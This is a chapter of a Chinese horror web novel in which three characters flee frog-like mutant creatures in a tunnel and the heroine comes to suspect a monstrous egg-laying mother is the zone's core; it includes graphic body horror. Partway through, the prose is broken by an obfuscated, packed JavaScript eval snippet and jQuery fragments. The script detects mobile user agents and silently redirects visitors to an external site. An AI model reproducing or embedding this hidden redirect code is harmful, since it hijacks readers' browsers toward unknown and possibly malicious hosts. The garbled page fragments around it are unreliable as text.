凛风擦着头顶旋了过去,粥粥的头盔“咯嘣”一声再一次摔了开。辛来没敢停,紧抓着她再次侧滚,蜷腿一脚狠狠踹在了曾云安后背上。
曾云安“嗷”一嗓子滚了好几米远,湿黏的液体劈头盖脸泼在了他刚刚趴着的地方,地面瞬间起泡,黑色的烟雾呲呲地往上冒,像被强酸腐蚀了一样。
——刚才要是没滚开,骨头都得化掉。
一根流着黄色脓液的舌头缓缓地从斜侧方的头顶缩了回去。
顺着舌头的方向,一只青蛙脑袋的人直勾勾地盯着他们,金黄色的眼睛慢慢眨了一下,瞳孔竖直收缩。
辛来盯着那玩意,抓住粥粥:“你刚才是不是说你在这个隧道里呆了很久?”
粥粥:“放……”
辛来:“?”
粥粥:“你先放手……”
辛来低头一看,这才意识到自己掐着的不是衣领,而是她的脖子。
粥粥的脸色已经开始发紫,白眼都快翻上去了,像只被人拧了半天的鸡。
辛来赶紧松手,面罩人喘了口气,眼泪都差点被呛出来,指着她:“我看你才是Boss吧!手劲那么大!谋杀啊!!”
辛来没有时间解释。
腿上溅到了青蛙的黏液,作战服被溶解了一大块,钻心的疼痛顺着神经往骨头里钻。
辛来低头看去,皮肤上已经出现了一片密集的黑色斑点,很显然这不太妙,但现在没空管那么多了。
精神修复剂还剩一支,愈合剂还有两支——她不确定自己能撑多久,但至少目前意识还清醒,腿脚还能动,就说明还能打。
曾云安的情况比她更糟。
嗖——
曾云安忽然抬手,一枚脉冲瓶擦着空气飞了出去,蓝光一闪,青蛙的长舌刹时失去活性,啪嗒一声垂落在地上,舌尖在地上抽搐了两下。
曾云安虚弱地笑了笑,抬起手比了个大拇指,拇指上还挂着拉环。
辛来:“……”
这家伙快不行了,居然还有心思装......x。
只可这还不够。
青蛙的数量越来越多,所有伪态生物的身体都在不断膨胀、发热、爆裂,腐烂的皮肤一层层剥落,化成无数黑色的细丝,缠绕在隧道的墙壁、地面,甚至蔓延进柏油路下面的土层。
它们开始吞噬一切。
车、人、尸首、甚至是地面。
曾云安握着刀的手都在抖,可还是咬牙拉开了一枚火药瓶的拉环,往前狠狠一丢。
——爆炸声响起。
火星四溅,整个隧道被瞬间点燃,红光和黑烟滚滚上涌,浓烟中无数影子在蠕动、撕裂、哀嚎。
曾云安喘着气笑了一下:“火烤青蛙,真香。”
辛来:“……”
她挥刀又割断了一根袭来的舌头,目光飞快地扫向粥粥:“你刚才说你在这条隧道里呆过?”
粥粥:“呃?”
辛来咬牙:“你知道翻车的地方在哪吗?”
粥粥被火光照得整个人都有点懵,愣了几秒才回神:“……你问那个翻了的黄车?”
辛来一怔,心脏一紧:“你见过?”
粥粥点头,抹了把脸上的脏污:“不太确定,但是我之前到处走的时候,发现这个隧道之所以堵车,是因为前面第三条岔路口那边有一起车祸,我上次路过发现的——”
话音未落,头顶的金属穹顶凹陷。
“辛来!”曾云安一声暴喝。
危险直觉狂响,辛来侧翻躲开。下一秒,一根血肉交织的巨柱从天而降。
粥粥惊叫了一声:“什么鬼东西!?”
辛来仰头看去——那是一根......“手指”。
准确的说,不是手指,而是青蛙一般带着吸盘的趾。
厚重的脓液沿着皮肤褶皱往下淌,颜色呈现出一种死气沉沉的黄绿交杂,散发着隔着防护面罩都能闻到的腥臭味。
表面覆盖着大大小小的泡,像是一锅翻滚的腐烂粥,每个泡都鼓胀、膨胀、颤抖着,仿佛随时会炸开。下一秒——
“噗”。
泡破了。
血色的浆液从裂缝中喷涌出来,泡沫底下,是一张人脸。
“姐姐……带上我……”
【检测到辐射,已屏蔽辐射,作战服耐性,15%。】
紧接着,第二个、第三个、第四个泡相继炸裂,脸的数量越来越多,一个叠着一个,层层覆盖在这根扭曲的肢节上,像是皮肤底下埋藏着无数张拼贴而成的嘴巴。
它们在低低地呢喃、咀嚼着、蠕动着,声音像蚊子一样,带着一种潮湿、恶心、似哭似笑的阴冷。
“逃……逃不掉……”
“嘿嘿……都是我的……”
“姐姐……姐姐,带我走……”
【警告:检测到高强度辐射波动。】
那声音不断地回响、重叠、交织,似乎不仅仅是从这根肢节里发出的,而是从整个隧道的缝隙、空气、甚至他们的耳膜深处渗透出来的。
【警告:检测到高强度辐射波动。】
“上车!”曾云安高呼。
一辆满是油污的老旧汽车一个大摆尾,横着漂移过来,车门已经不知所踪,车厢里全是渗透进缝隙的黑色污泥。
粥粥吹了声口哨,跟着辛来跳上了车:“您还会开插钥匙的车呢?”
曾云安扬起了下巴,声音虽然虚弱但依然格外得意:“那是自然,老古董才是真理。”
粥粥眉毛一下子就皱了起来:“......这是我们那年代的最新款好吧!”
车子突然加速,粥粥措不及防地被甩到车门口,半个身子都要飞出去,“你踩油门能不能说一声!”
辛来紧紧抠着门把手,同情地看了眼半个身体都差点飞出去的粥粥。
隧道顶上的肉柱一个接一个地落下,每个肉柱都在不断地融合着地下的青蛙人,发出低沉的咕噜声。
车轮疾驰,泥浆飞溅。
“前边再往前的那个口出去!”粥粥紧抓着前车座椅说。
曾云安猛打方向盘,车身横甩着钻进两辆卡车之间,左侧车轮腾空而起,整辆车只用一侧车轮斜斜地挤了过去。
“砰——!”
一根肉柱重重地砸在了他们刚刚经过的位置,地面被砸出一个深坑,碎石和淤泥四处飞溅。
辛来反手把粥粥往前面一推,自己借力往后一仰,刚好躲开一根从顶上扫过的钢刺。
车顶被削飞了。
冷风瞬间灌了进来。
粥粥从后座飞去了前座,曾云安又猛一转弯,她整个人都翻了个面,直直看到了顶上的钢刺——
那是从肉柱的人面口中刺出来的,卷起的尖头像是舌头,却比之前单个的伪态生物更加锋利。
闪着银光的刚刺上也有着大大小小的脓包,脓包瞬间全睁了开,数只大小不一的眼睛齐齐盯着她。
每只眼睛都金黄发黑,瞳孔呈横条状,横条里油条裂缝,那裂缝一张一合,正在呢喃着......
粥粥脑子里“嗡”的一声,视线开始模糊,耳鸣轰然响起,一股异样的呢喃声直接戳进了她的神经,整个世界开始失真。
“姐姐……带上我……”
“别丢下我……我们是一家人……”
就在这时,她突然觉得有个什么东西被拍在了嘴巴上。
金属的、冰凉的、坚硬的——
随后那东西迅速扩散,像液态金属一样流动,包裹住了她的整个头部。
“咔嗒——”
金自动贴合的金属片形成了一个完整的防护面罩,粥粥眼前的画面瞬间清晰,耳鸣也随之消散大半。
她吸了口气,反应过来,立刻转头看向旁边。
——辛来!?
辛来脸上没有了任何防护,一头半长不短的头发被风吹得稀里哗啦,脖颈暴露在空气里,皮肤上已经渗出了斑驳的黑色脉络。
粥粥一愣,恍神间,辛来一刀从她脸边擦了过去。
刀刃狠狠捅上了正后方的脓包,一声尖啸在耳边炸响。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15943255|177456||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
辛来屏着呼吸又捅了一刀,刹时间尖啸连成一片。
隧道顶上再次落下肉柱,一根接着一根,速度越来越快,也愈发逼近。落下的肉柱疯狂收缩再胀大,车身再又一颠,整辆车被掀起飞上了半空,翻了过去。
所有人都被甩了出来,重重摔在地上。
辛来的脑子嗡地一声,耳边只剩下低沉的嗡鸣声。可就在这混乱的一瞬间,她的视线异常清晰。
或许是人在极度紧张的时候,感官会被无限放大,辛来不知道。
她只觉得自己眼中的每一个细节都变得格外鲜明,所有的事物都像是被摁下了慢动作。
她看到地上的碎石和淤泥,看到远处蠕动的肉柱,看到曾云安呆滞的眼神和粥粥慌乱的表情——
还有前方不远处,那辆和记忆里几乎没有差别的黄色皮卡。
黄色的皮卡静悄悄地躺在那里,车身凹陷,扇形的凹痕像青蛙的脚蹼。
周围一片死寂,没有伪态生物,没有可疑的活动,除了地上一层厚厚的污泥,什么都没有。
不对……不对。
这不可能。
这辆车是记忆里出现过的,是姐妹三人偷走的车。
而隧道成为负相区的根源,难道不就是她们吗?
记忆的最后,是侧翻的卡车。然后呢?
还有什么??
辛来盯着那辆皮卡,大脑在疯狂地回溯。
母亲喝了姐姐亲手炖的弟弟骨肉熬的米汤;姐妹三人驾车逃命,冲进了隧道;而后,隧道变异,充斥着无数的蝌蚪、青蛙、污泥。
一切都指向了那三姐妹。
但为什么……
为什么皮卡是空的?
——不对,不对,不对。
好像有更可怕的东西正潜伏在记忆的深处,辛来心脏狂跳,她的指尖因为过度紧绷而微微发麻。
冷静……冷静……辛来,冷静下来。
“轰——!”
肉柱砸下,直接把皮卡碾进了地里。
曾云安的身子一颤,倒在地上,一动不动,腰间的伤口再度蔓延出黑色的斑纹。
那些斑纹之下,鼓起了一块又一块的脓包。
“咕叽。”
脓包裂开,一滴滴黑色的泥点滚落地面,然后缓缓蠕动,像是初生的青蛙卵,像是刚从孵化池里爬出来的幼崽。
辛来呼吸一滞。
眼前的景象,和那段不断闪回的记忆里的……一模一样。
辛来看见那围着围裙的女人,站在炉灶前,搅拌着滚烫的米汤。
她的腹部已经膨胀得不成样子,就像是一只快要孵化的青蛙。
围裙已经被撑得炸开了线,衣服撕裂,皮肤上的疙瘩一个接一个地蠕动、破裂,渗出浓稠的液体,裸露出底下滑腻的半透明囊膜。
是卵。
她在不停地产卵、产卵、产卵。
卵孵化成胚胎,胚胎在短短几秒内蜕变成蝌蚪,蝌蚪挣扎着扭动,四肢渐渐成形,而没有长出生.殖腺突起的,则会被当做养料,喂给她们的弟弟,喂给她们下面所有的雄蛙——等一下。
有一个猜测炸开在脑中,辛来的呼吸滞住了。
这片负相区的核心,不是逃亡的姐妹,不是追赶的弟弟……
而是......
是他们的母亲?
她才是这片负相区的真正核心?
那她在哪?
辛来恍然抬起头,视线扫过四周。
落下的肉柱一根接一根,像是触手,又像是伸展的四肢。无穷无尽的青蛙人争相蠕动,撕咬着、吞噬着、增殖着。
密密麻麻的卵像潮水般填满整个空间。
污泥四处都是,墙壁不停震颤,穹顶收缩……
——不,不对。
辛来的心跳开始加速。
她的目光缓缓下移,落在脚下。
这整个隧道……
整个隧道,都是母核?
〖叮——〗
〖是否使用道具?〗